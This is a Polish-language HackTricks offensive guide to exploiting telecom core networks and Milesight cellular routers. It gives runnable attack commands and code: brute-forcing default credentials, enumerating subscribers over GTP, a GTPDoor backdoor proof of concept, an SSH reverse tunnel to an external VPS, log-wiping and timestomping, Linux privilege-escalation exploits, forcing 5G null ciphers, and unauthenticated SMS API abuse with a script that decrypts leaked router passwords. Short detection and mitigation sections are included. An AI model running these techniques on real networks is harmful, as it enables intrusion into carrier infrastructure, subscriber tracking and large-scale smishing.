Eksploatacja sieci telekomunikacyjnych (GTP / Roaming Environments)

Reading time: 13 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

note

Mobile-core protocols (GPRS Tunnelling Protocol – GTP) często przebiegają przez pół-zaufane GRX/IPX roaming backbones. Ponieważ korzystają z plain UDP z niemal żadną autentykacją, jakikolwiek przyczółek wewnątrz perymetru operatora zwykle może bezpośrednio dotrzeć do core signalling planes. Poniższe notatki zbierają ofensywne sztuczki obserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.

1. Rozpoznanie i początkowy dostęp

1.1 Domyślne konta OSS / NE

Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z hard-coded użytkownikami SSH/Telnet takimi jak root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Dedykowana wordlist znacząco zwiększa skuteczność brute-force:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Jeśli urządzenie udostępnia tylko management VRF, najpierw pivotuj przez jump host (zobacz sekcję «SGSN Emu Tunnel» poniżej).

1.2 Odkrywanie hostów w GRX/IPX

Większość operatorów GRX nadal pozwala na ICMP echo w obrębie sieci szkieletowej. Połącz masscan z wbudowanymi sondami UDP gtpv1, aby szybko zmapować nasłuchiwacze GTP-C:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Enumerating Subscribers – cordscan

Następujące narzędzie w Go tworzy pakiety GTP-C Create PDP Context Request i zapisuje odpowiedzi. Każda odpowiedź ujawnia aktualne SGSN / MME obsługujące zapytane IMSI i, czasami, odwiedzany przez abonenta PLMN.

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi Docelowy abonent IMSI
  • --oper Home / HNI (MCC+MNC)
  • -w Zapisuje surowe pakiety do pcap

Ważne stałe wewnątrz binarki można zmodyfikować, aby poszerzyć zakres skanów:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Wykonanie kodu przez GTP – GTPDoor

GTPDoor to niewielki serwis ELF, który nasłuchuje na UDP 2123 i parsuje każdy przychodzący pakiet GTP-C. Gdy payload zaczyna się od pre-shared tagu, pozostała część jest odszyfrowana (AES-128-CBC) i wykonana przez /bin/sh -c. Stdout/stderr są eksfiltrowane wewnątrz wiadomości Echo Response, dzięki czemu nigdy nie jest tworzona sesja wychodząca.

Minimalny pakiet PoC (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Wykrywanie:

  • dowolny host wysyłający unbalanced Echo Requests do adresów IP SGSN
  • flaga wersji GTP ustawiona na 1 podczas gdy typ wiadomości = 1 (Echo) – odstępstwo od specyfikacji

4. Pivoting przez rdzeń sieci

4.1 sgsnemu + SOCKS5

OsmoGGSN dostarcza emulator SGSN zdolny nawiązać PDP context w kierunku rzeczywistego GGSN/PGW. Po negocjacji Linux otrzymuje nowy interfejs tun0 osiągalny z poziomu peer'a roamingowego.

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Przy odpowiednim firewall hair-pinning tunel ten omija VLANy przeznaczone wyłącznie do sygnalizacji i trafia bezpośrednio do data plane.

4.2 SSH Reverse Tunnel na porcie 53

DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH przez swój VPS nasłuchujący na :53 i wróć później z domu:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Sprawdź, czy GatewayPorts yes jest włączone na VPS.

5. Covert Channels

ChannelTransportDecodingNotes
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)czysto pasywny nasłuchiwacz, brak ruchu wychodzącego
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) zakodowane w oktetach rekordu Anasłuchuje subdomeny *.nodep
GTP – GTPDoorUDP 2123AES-128-CBC blob w prywatnym IEwtopiony w legalny ruch GTP-C

Wszystkie implanty implementują watchdogi, które wykonują timestomp na swoich binariach i ponownie się uruchamiają, jeśli ulegną awarii.

6. Defense Evasion Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation w Legacy NE

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Wskazówka dotycząca sprzątania:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Zestaw narzędzi

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling opisane we wcześniejszych sekcjach.
  • FScan : skanowanie TCP intranetu (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : lekki SOCKS5 pivoting
  • FRP (≥0.37) : przechodzenie NAT / łączenie zasobów

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

Procedura rejestracji w 5G przebiega nad NAS (Non-Access Stratum) na NGAP. Dopóki bezpieczeństwo NAS nie zostanie aktywowane przez Security Mode Command/Complete, wiadomości początkowe są nieautoryzowane i niezaszyfrowane. Ten okres przed-uruchomieniowy umożliwia wiele wektorów ataku, jeśli możesz obserwować lub modyfikować ruch N2 (np. on-path wewnątrz core, rogue gNB lub testbed).

Przebieg rejestracji (uproszczony):

  • Registration Request: UE wysyła SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej) i możliwości.
  • Authentication: AMF/AUSF wysyłają RAND/AUTN; UE zwraca RES*.
  • Security Mode Command/Complete: negocjowana i aktywowana jest integralność i szyfrowanie NAS.
  • PDU Session Establishment: konfiguracja IP/QoS.

Wskazówki dotyczące konfiguracji laboratorium (bez RF):

  • Core: domyślna instalacja Open5GS wystarcza do odtworzenia przepływów.
  • UE: symulator lub testowy UE; dekoduj przy użyciu Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Przydatne filtry wyświetlania w Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI

Oczekiwane: UE/USIM musi transmitować SUCI (SUPI zaszyfrowany kluczem publicznym sieci domowej). Znalezienie jawnego SUPI/IMSI w Registration Request wskazuje na defekt prywatności umożliwiający trwałe śledzenie abonenta.

Jak testować:

  • Przechwyć pierwszą wiadomość NAS w InitialUEMessage i sprawdź Mobile Identity IE.
  • Szybkie kontrole w Wireshark:
  • Powinno dekodować się jako SUCI, nie IMSI.
  • Filter examples: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci should exist; absence plus presence of imsi indicates leakage.

Co zebrać:

  • MCC/MNC/MSIN jeśli ujawnione; loguj per-UE i śledź w czasie/miejscach.

Środki zaradcze:

  • Wymuszaj UEs/USIMs wysyłające tylko SUCI; alertuj przy każdym IMSI/SUPI w początkowym NAS.

9.2 Capability bidding-down to null algorithms (EEA0/EIA0)

Tło:

  • UE reklamuje wspierane EEA (encryption) i EIA (integrity) w UE Security Capability IE w Registration Request.
  • Typowe mapowania: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 to algorytmy null.

Problem:

  • Ponieważ Registration Request nie jest chroniony integralnością, atakujący on-path może wyczyścić bity capabilities, by wymusić wybór EEA0/EIA0 później podczas Security Mode Command. Niektóre stosy błędnie dopuszczają algorytmy null poza usługami awaryjnymi.

Kroki ofensywne:

  • Przechwyć InitialUEMessage i zmodyfikuj NAS UE Security Capability, by reklamował wyłącznie EEA0/EIA0.
  • Z Sni5Gect zahacz wiadomość NAS i popraw bity capabilities przed przesłaniem dalej.
  • Obserwuj, czy AMF akceptuje null ciphers/integrity i kończy Security Mode z EEA0/EIA0.

Weryfikacja/widoczność:

  • W Wireshark potwierdź wybrane algorytmy po Security Mode Command/Complete.
  • Przykładowe wyjście pasywnego sniffera:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Środki zaradcze (wymagane):

  • Skonfiguruj AMF/policy, aby odrzucać EEA0/EIA0, z wyjątkiem przypadków ściśle nakazanych (np. połączenia alarmowe).
  • Preferuj wymuszanie co najmniej EEA2/EIA2; loguj i generuj alarm dla każdego kontekstu bezpieczeństwa NAS, który negocjuje algorytmy null.

9.3 Replay początkowego Registration Request (pre-security NAS)

Ponieważ początkowy NAS nie zapewnia integralności i świeżości, przechwycony InitialUEMessage+Registration Request może zostać replayed do AMF.

Reguła PoC dla 5GReplay do przekazywania pasujących replays:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.

Mitigations:

  • Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
  • Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
  • 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
  • Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.

9.5 Defensive checklist

  • Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
  • Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
  • Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
  • Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.

Typical unauthenticated requests (same structure for inbox/outbox):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Odpowiedzi zawierają pola takie jak timestamp, content, phone_number (E.164) oraz status (success or failed). Powtarzające się wysyłki oznaczone jako failed na ten sam numer są często attacker “capability checks” służące weryfikacji, czy router/SIM może dostarczyć wiadomości przed blastingiem.

Przykładowy curl do exfiltrate metadanych SMS:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Uwagi dotyczące auth artefaktów:

  • Część ruchu może zawierać auth cookie, ale duża część wystawionych urządzeń odpowiada bez jakiegokolwiek uwierzytelnienia na query_inbox/query_outbox, gdy interfejs zarządzania jest dostępny z Internetu.
  • W środowiskach wymagających auth, previously-leaked credentials (patrz poniżej) przywracają dostęp.

Credential recovery path – CVE-2023-43261:

  • Dotknięte rodziny: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problem: logi udostępniane przez serwer WWW (np. httpd.log) są dostępne bez uwierzytelnienia pod /lang/log/ i zawierają zdarzenia logowania administratora z hasłem zaszyfrowanym przy użyciu hardcoded AES key/IV obecnego w client-side JavaScript.
  • Praktyczny dostęp i odszyfrowanie:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimalny skrypt w Pythonie do decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting i wykrywanie (sieć):

  • Generuj alert dla nieautoryzowanych POST /cgi, których ciało JSON zawiera base/function ustawione na query_inbox lub query_outbox.
  • Śledź powtarzające się serie POST /cgi zakończone wpisami status":"failed" dotyczące wielu unikalnych numerów z tego samego adresu IP źródłowego (capability testing).
  • Sporządź inwentaryzację routerów Milesight wystawionych na Internet; ogranicz zarządzanie do VPN; wyłącz funkcje SMS, jeśli nie są wymagane; zaktualizuj do ≥ v35.3.0.7; rotuj poświadczenia i przeglądaj logi SMS pod kątem nieznanych wysyłek.

Shodan/OSINT pivots (przykłady zaobserwowane w sieci):

  • http.html:"rt_title" pasuje do paneli routerów Milesight.
  • Google dorking dla wystawionych logów: "/lang/log/system" ext:log.

Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.


Pomysły na wykrywanie

  1. Jakiekolwiek urządzenie inne niż SGSN/GGSN inicjujące Create PDP Context Requests.
  2. Nie-standardowe porty (53, 80, 443) otrzymujące SSH handshakes od adresów IP z sieci wewnętrznej.
  3. Częste Echo Requests bez odpowiadających Echo Responses – może wskazywać na GTPDoor beacons.
  4. Wysokie natężenie ruchu ICMP echo-reply z dużymi, niezerowymi polami identifier/sequence.
  5. 5G: InitialUEMessage niosące NAS Registration Requests powtarzane z identycznych końcówek (replay signal).
  6. 5G: NAS Security Mode negocjujący EEA0/EIA0 poza kontekstami awaryjnymi.

Źródła

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks